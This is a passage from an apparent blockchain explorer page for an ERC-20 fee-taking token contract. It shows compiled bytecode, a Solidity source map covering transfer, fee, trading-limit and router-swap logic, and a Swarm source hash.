55a4df523b3ef90610ea89085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ed39083611291565b6001600160a01b0385165f90815260016020526040902055610f16610ef88383611291565b6001600160a01b0385165f9081526001602052604090205490611233565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5f8585611291565b60405190815260200160405180910390a350505050565b5f8184841115610f995760405162461bcd60e51b81526004016103b891906112fe565b505f610fa584866115f6565b95945050505050565b5f825f03610fbd57505f610302565b5f610fc8838561151a565b905082610fd58583611609565b1461102c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b8565b9392505050565b5f61102c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d2565b5f818311611082578261102c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110ce576110ce611628565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611125573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111499190611566565b8160018151811061115c5761115c611628565b6001600160a01b039283166020918202929092010152601154611182913091168461089a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba9085905f9086903090429060040161163c565b5f604051808303815f87803b1580156111d1575f80fd5b505af11580156111e3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122f573d5f803e3d5ffd5b5050565b5f8061123f83856115e3565b90508381101561102c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b8565b5f61102c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f76565b5f81836112f25760405162461bcd60e51b81526004016103b891906112fe565b505f610fa58486611609565b5f602080835283518060208501525f5b8181101561132a5785810183015185820160400152820161130e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610855575f80fd5b5f806040838503121561136f575f80fd5b823561137a8161134a565b946020939093013593505050565b5f805f6060848603121561139a575f80fd5b83356113a58161134a565b925060208401356113b58161134a565b929592945050506040919091013590565b5f602082840312156113d6575f80fd5b813561102c8161134a565b5f80604083850312156113f2575f80fd5b82356113fd8161134a565b9150602083013561140d8161134a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146657815f190482111561144c5761144c611418565b8085161561145957918102915b93841c9390800290611431565b509250929050565b5f8261147c57506001610302565b8161148857505f610302565b816001811461149e57600281146114a8576114c4565b6001915050610302565b60ff8411156114b9576114b9611418565b50506001821b610302565b5060208310610133831016604e8410600b84101617156114e7575081810a610302565b6114f1838361142c565b805f190482111561150457611504611418565b029392505050565b5f61102c60ff84168361146e565b808202811582820484141761030257610302611418565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611576575f80fd5b815161102c8161134a565b5f805f60608486031215611593575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115bc575f80fd5b8151801515811461102c575f80fd5b5f600182016115dc576115dc611418565b5060010190565b8082018082111561030257610302611418565b8181038181111561030257610302611418565b5f8261162357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561168c5784516001600160a01b031683529383019391830191600101611667565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a127a1d38354fac93089eb7ca08993e13153859661db655b7970e25933b1b22764736f6c63430008160033
Deployed Bytecode Sourcemap
3646:7278:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5455:83;;;;;;;;;;-1:-1:-1;5525:5:0;;;;;;;;;;;;-1:-1:-1;;;5525:5:0;;;;5455:83;;;;;;;:::i;:::-;;;;;;;;6288:161;;;;;;;;;;-1:-1:-1;6288:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6288:161:0;1023:187:1;5732:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5732:95:0;1215:177:1;6457:313:0;;;;;;;;;;-1:-1:-1;6457:313:0;;;;;:::i;:::-;;:::i;5641:83::-;;;;;;;;;;-1:-1:-1;5641:83:0;;4382:2;2000:36:1;;1988:2;1973:18;5641:83:0;1858:184:1;5835:119:0;;;;;;;;;;-1:-1:-1;5835:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5928:18:0;5901:7;5928:18;;;:9;:18;;;;;;;5835:119;2727:148;;;;;;;;;;;;;:::i;:::-;;10720:164;;;;;;;;;;;;;:::i;2513:79::-;;;;;;;;;;-1:-1:-1;2551:7:0;2578:6;2513:79;;-1:-1:-1;;;;;2578:6:0;;;2445:51:1;;2433:2;2418:18;2513:79:0;2299:203:1;5546:87:0;;;;;;;;;;-1:-1:-1;5618:7:0;;;;;;;;;;;;-1:-1:-1;;;5618:7:0;;;;5546:87;;5962:167;;;;;;;;;;-1:-1:-1;5962:167:0;;;;;:::i;:::-;;:::i;9966:623::-;;;;;;;;;;;;;:::i;6137:143::-;;;;;;;;;;-1:-1:-1;6137:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6245:18:0;;;6218:7;6245:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6137:143;10597:115;;;;;;;;;;;;;:::i;6288:161::-;6363:4;6380:39;348:10;6403:7;6412:6;6380:8;:39::i;:::-;-1:-1:-1;6437:4:0;6288:161;;;;;:::o;5732:95::-;5785:7;4552:13;4382:2;4552;:13;:::i;:::-;4539:26;;:10;:26;:::i;:::-;5805:14;;5732:95;:::o;6457:313::-;6555:4;6572:36;6582:6;6590:9;6601:6;6572:9;:36::i;:::-;6619:121;6628:6;348:10;6650:89;6688:6;6650:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6650:19:0;;;;;;:11;:19;;;;;;;;348:10;6650:33;;;;;;;;;;:37;:89::i;:::-;6619:8;:121::i;:::-;-1:-1:-1;6758:4:0;6457:313;;;;;:::o;2727:148::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;;;;;;;;;2834:1:::1;2818:6:::0;;2797:40:::1;::::0;-1:-1:-1;;;;;2818:6:0;;::::1;::::0;2797:40:::1;::::0;2834:1;;2797:40:::1;2865:1;2848:19:::0;;-1:-1:-1;;;;;;2848:19:0::1;::::0;;2727:148::o;10720:164::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;4552:13:::1;4382:2;4552;:13;:::i;:::-;4539:26;::::0;:10:::1;:26;:::i;:::-;10774:12;:22:::0;4552:13:::1;4382:2;4552;:13;:::i;:::-;4539:26;::::0;:10:::1;:26;:::i;:::-;10807:16;:26:::0;10849:27:::1;4552:13;4382:2;4552;:13;:::i;:::-;4539:26;::::0;:10:::1;:26;:::i;:::-;10849:27;::::0;1361:25:1;;;1349:2;1334:18;10849:27:0::1;;;;;;;10720:164::o:0;5962:167::-;6040:4;6057:42;348:10;6081:9;6092:6;6057:9;:42::i;9966:623::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;10039:12:::1;::::0;-1:-1:-1;;;10039:12:0;::::1;;;10038:13;10030:48;;;::::0;-1:-1:-1;;;10030:48:0;;5145:2:1;10030:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;10030:48:0::1;4943:347:1::0;10030:48:0::1;10089:15;:80:::0;;-1:-1:-1;;;;;;10089:80:0::1;10126:42;10089:80:::0;;::::1;::::0;;;10180:58:::1;::::0;10197:4:::1;::::0;4552:13:::1;4382:2;4552;:13;:::i;:::-;4539:26;::::0;:10:::1;:26;:::i;10180:58::-;10283:15;;;;;;;;;-1:-1:-1::0;;;;;10283:15:0::1;-1:-1:-1::0;;;;;10283:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10265:55:0::1;;10329:4;10336:15;;;;;;;;;-1:-1:-1::0;;;;;10336:15:0::1;-1:-1:-1::0;;;;;10336:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10265:94;::::0;-1:-1:-1;;;;;;10265:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;10265:94:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;10265:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10249:13;:110:::0;;-1:-1:-1;;;;;10249:110:0;;::::1;-1:-1:-1::0;;;;;;10249:110:0;;::::1;;::::0;;10370:15:::1;::::0;::::1;:31;10409:21;10440:4;10446:24;10440:4:::0;-1:-1:-1;;;;;5928:18:0;5901:7;5928:18;;;:9;:18;;;;;;;5835:119;10446:24:::1;10471:1;10473::::0;10475:7:::1;2551::::0;2578:6;-1:-1:-1;;;;;2578:6:0;;2513:79;10475:7:::1;10370:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10370:129:0;;;-1:-1:-1;;;;;6219:15:1;;;10370:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;10483:15:0::1;6433:19:1::0;;;6426:35;6135:19;;10370:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10517:13:0::1;::::0;10548:15:::1;::::0;10510:71:::1;::::0;-1:-1:-1;;;10510:71:0;;-1:-1:-1;;;;;10548:15:0;;::::1;10510:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;10517:13:0;::::1;::::0;-1:-1:-1;10510:29:0::1;::::0;6930:18:1;;10510:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9966:623::o:0;10597:115::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;10647:12:::1;:19:::0;;-1:-1:-1;;;;10677:19:0;-1:-1:-1;;;10677:19:0;;;10597:115::o;6778:335::-;-1:-1:-1;;;;;6871:19:0;;6863:68;;;;-1:-1:-1;;;6863:68:0;;7546:2:1;6863:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;6863:68:0;7344:400:1;6863:68:0;-1:-1:-1;;;;;6950:21:0;;6942:68;;;;-1:-1:-1;;;6942:68:0;;7951:2:1;6942:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;6942:68:0;7749:398:1;6942:68:0;-1:-1:-1;;;;;7021:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7073:32;;1361:25:1;;;7073:32:0;;1334:18:1;7073:32:0;;;;;;;6778:335;;;:::o;7121:2018::-;-1:-1:-1;;;;;7211:20:0;;7203:70;;;;-1:-1:-1;;;7203:70:0;;8354:2:1;7203:70:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7203:70:0;8152:401:1;7203:70:0;-1:-1:-1;;;;;7292:16:0;;7284:64;;;;-1:-1:-1;;;7284:64:0;;8760:2:1;7284:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7284:64:0;8558:399:1;7284:64:0;7376:1;7367:6;:10;7359:64;;;;-1:-1:-1;;;7359:64:0;;9164:2:1;7359:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7359:64:0;8962:405:1;7359:64:0;-1:-1:-1;;;;;7469:23:0;;7434:17;7469:23;;;:15;:23;;;;;;;;7468:24;:48;;;;-1:-1:-1;;;;;;7497:19:0;;;;;;:15;:19;;;;;;;;7496:20;7468:48;7464:1214;;;7541:12;;-1:-1:-1;;;7541:12:0;;;;7533:41;;;;-1:-1:-1;;;7533:41:0;;9574:2:1;7533:41:0;;;9556:21:1;9613:2;9593:18;;;9586:30;-1:-1:-1;;;9632:18:1;;;9625:46;9688:18;;7533:41:0;9372:340:1;7533:41:0;7601:76;7673:3;7601:67;7623:15;;7613:9;;:25;7612:55;;7653:14;;7612:55;;;7640:12;;7612:55;7601:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7708:13;;7589:88;;-1:-1:-1;;;;;;7698:23:0;;;7708:13;;7698:23;:57;;;;-1:-1:-1;7739:15:0;;-1:-1:-1;;;;;7725:30:0;;;7739:15;;7725:30;;7698:57;7694:187;;;7794:12;;7784:6;:22;;7776:59;;;;-1:-1:-1;;;7776:59:0;;9919:2:1;7776:59:0;;;9901:21:1;9958:2;9938:18;;;9931:30;9997:26;9977:18;;;9970:54;10041:18;;7776:59:0;9717:348:1;7776:59:0;7854:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7694:187;7907:13;;-1:-1:-1;;;;;7901:19:0;;;7907:13;;7901:19;;;;:44;;-1:-1:-1;;;;;;7926:19:0;;;;;;:15;:19;;;;;;;;7924:21;7901:44;7897:166;;;8000:16;;7990:6;7974:13;7984:2;-1:-1:-1;;;;;5928:18:0;5901:7;5928:18;;;:9;:18;;;;;;;5835:119;7974:13;:22;;;;:::i;:::-;:42;;7966:81;;;;-1:-1:-1;;;7966:81:0;;10542:2:1;7966:81:0;;;10524:21:1;10581:2;10561:18;;;10554:30;10620:28;10600:18;;;10593:56;10666:18;;7966:81:0;10340:350:1;7966:81:0;8088:13;;-1:-1:-1;;;;;8082:19:0;;;8088:13;;8082:19;:45;;;;-1:-1:-1;;;;;;8105:22:0;;8122:4;8105:22;;8082:45;8079:176;;;8160:79;8235:3;8160:70;8182:16;;8172:9;;:26;8171:58;;8214:15;;8171:58;;;8200:13;;8160:6;;:10;:70::i;:79::-;8148:91;;8079:176;8321:4;8271:29;5928:18;;;:9;:18;;;;;;8347:7;;-1:-1:-1;;;8347:7:0;;;;8346:8;:31;;;;-1:-1:-1;8364:13:0;;-1:-1:-1;;;;;8358:19:0;;;8364:13;;8358:19;8346:31;:47;;;;-1:-1:-1;8381:12:0;;-1:-1:-1;;;8381:12:0;;;;8346:47;:76;;;;;8404:18;;8397:6;:25;8346:76;:108;;;;;8436:18;;8426:9;;:28;8346:108;8342:335;;;8500:18;;8478:21;:40;8475:132;;;8537:70;8553:53;8557:6;8564:41;8568:21;8590:14;;8564:3;:41::i;:::-;8553:3;:53::i;:::-;8537:15;:70::i;:::-;8626:35;8639:21;8626:12;:35::i;:::-;7518:1160;7464:1214;9238:13;;-1:-1:-1;;;;;9229:22:0;;;9238:13;;9229:22;8692:83;;-1:-1:-1;;;;;8731:13:0;;;;;;:9;:13;;;;;;:25;;8749:6;8731:17;:25::i;:::-;-1:-1:-1;;;;;8717:13:0;;;;;;;:9;:13;;;;;:39;;;;-1:-1:-1;;;7121:2018:0:o;8692:83::-;8790:11;;8787:163;;8858:4;8840:24;;;;:9;:24;;;;;;:39;;8869:9;8840:28;:39::i;:::-;8833:4;8815:24;;;;:9;:24;;;;;;;:64;;;;8897:41;;-1:-1:-1;;;;;8897:41:0;;;;;;;8928:9;1361:25:1;;1349:2;1334:18;;1215:177;8897:41:0;;;;;;;;8787:163;-1:-1:-1;;;;;8978:17:0;;;;;;:9;:17;;;;;;:29;;9000:6;8978:21;:29::i;:::-;-1:-1:-1;;;;;8960:17:0;;;;;;:9;:17;;;;;:47;9032:40;9050:21;:6;9061:9;9050:10;:21::i;:::-;-1:-1:-1;;;;;9032:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9018:13:0;;;;;;;:9;:13;;;;;:54;;;;9088:43;;;9109:21;:6;9120:9;9109:10;:21::i;:::-;9088:43;;1361:25:1;;;1349:2;1334:18;9088:43:0;;;;;;;7192:1947;7121:2018;;;:::o;1405:190::-;1491:7;1527:12;1519:6;;;;1511:29;;;;-1:-1:-1;;;1511:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1551:9:0;1563:5;1567:1;1563;:5;:::i;:::-;1551:17;1405:190;-1:-1:-1;;;;;1405:190:0:o;1603:246::-;1661:7;1685:1;1690;1685:6;1681:47;;-1:-1:-1;1715:1:0;1708:8;;1681:47;1738:9;1750:5;1754:1;1750;:5;:::i;:::-;1738:17;-1:-1:-1;1783:1:0;1774:5;1778:1;1738:17;1774:5;:::i;:::-;:10;1766:56;;;;-1:-1:-1;;;1766:56:0;;11252:2:1;1766:56:0;;;11234:21:1;11291:2;11271:18;;;11264:30;11330:34;11310:18;;;11303:62;-1:-1:-1;;;11381:18:1;;;11374:31;11422:19;;1766:56:0;11050:397:1;1766:56:0;1840:1;1603:246;-1:-1:-1;;;1603:246:0:o;1857:132::-;1915:7;1942:39;1946:1;1949;1942:39;;;;;;;;;;;;;;;;;:3;:39::i;9757:98::-;9814:7;9841:1;9839;:3;9838:9;;9846:1;9838:9;;;-1:-1:-1;9844:1:0;9757:98;-1:-1:-1;9757:98:0:o;9267:482::-;5105:7;:14;;-1:-1:-1;;;;5105:14:0;-1:-1:-1;;;5105:14:0;;;9368:16:::1;::::0;;9382:1:::1;9368:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9368:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9368:16:0::1;9344:40;;9413:4;9395;9400:1;9395:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9395:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9439:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9439:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9395:7;;9439:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9429:4;9434:1;9429:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9429:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9504:15:::1;::::0;9472:62:::1;::::0;9489:4:::1;::::0;9504:15:::1;9522:11:::0;9472:8:::1;:62::i;:::-;9545:15;::::0;:196:::1;::::0;-1:-1:-1;;;9545:196:0;;-1:-1:-1;;;;;9545:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9626:11;;9545:15:::1;::::0;9668:4;;9695::::1;::::0;9715:15:::1;::::0;9545:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5142:7:0;:15;;-1:-1:-1;;;;5142:15:0;;;-1:-1:-1;;;;9267:482:0:o;9863:95::-;9920:13;;:30;;-1:-1:-1;;;;;9920:13:0;;;;:30;;;;;9943:6;;9920:13;:30;:13;:30;9943:6;9920:13;:30;;;;;;;;;;;;;;;;;;;;;9863:95;:::o;1074:179::-;1132:7;;1164:5;1168:1;1164;:5;:::i;:::-;1152:17;;1193:1;1188;:6;;1180:46;;;;-1:-1:-1;;;1180:46:0;;12903:2:1;1180:46:0;;;12885:21:1;12942:2;12922:18;;;12915:30;12981:29;12961:18;;;12954:57;13028:18;;1180:46:0;12701:351:1;1261:136:0;1319:7;1346:43;1350:1;1353;1346:43;;;;;;;;;;;;;;;;;:3;:43::i;1997:189::-;2083:7;2118:12;2111:5;2103:28;;;;-1:-1:-1;;;2103:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2142:9:0;2154:5;2158:1;2154;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;10070:135;10109:3;10130:17;;;10127:43;;10150:18;;:::i;:::-;-1:-1:-1;10197:1:1;10186:13;;10070:135::o;10210:125::-;10275:9;;;10296:10;;;10293:36;;;10309:18;;:::i;10695:128::-;10762:9;;;10783:11;;;10780:37;;;10797:18;;:::i;10828:217::-;10868:1;10894;10884:132;;10938:10;10933:3;10929:20;10926:1;10919:31;10973:4;10970:1;10963:15;11001:4;10998:1;10991:15;10884:132;-1:-1:-1;11030:9:1;;10828:217::o;11584:127::-;11645:10;11640:3;11636:20;11633:1;11626:31;11676:4;11673:1;11666:15;11700:4;11697:1;11690:15;11716:980;11978:4;12026:3;12015:9;12011:19;12057:6;12046:9;12039:25;12083:2;12121:6;12116:2;12105:9;12101:18;12094:34;12164:3;12159:2;12148:9;12144:18;12137:31;12188:6;12223;12217:13;12254:6;12246;12239:22;12292:3;12281:9;12277:19;12270:26;;12331:2;12323:6;12319:15;12305:29;;12352:1;12362:195;12376:6;12373:1;12370:13;12362:195;;;12441:13;;-1:-1:-1;;;;;12437:39:1;12425:52;;12532:15;;;;12497:12;;;;12473:1;12391:9;12362:195;;;-1:-1:-1;;;;;;;12613:32:1;;;;12608:2;12593:18;;12586:60;-1:-1:-1;;;12677:3:1;12662:19;12655:35;12574:3;11716:980;-1:-1:-1;;;11716:980:1:o
Swarm Source
ipfs://a127a1d38354fac93089eb7ca08993e13153859661db655b7970e25933b1b227
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.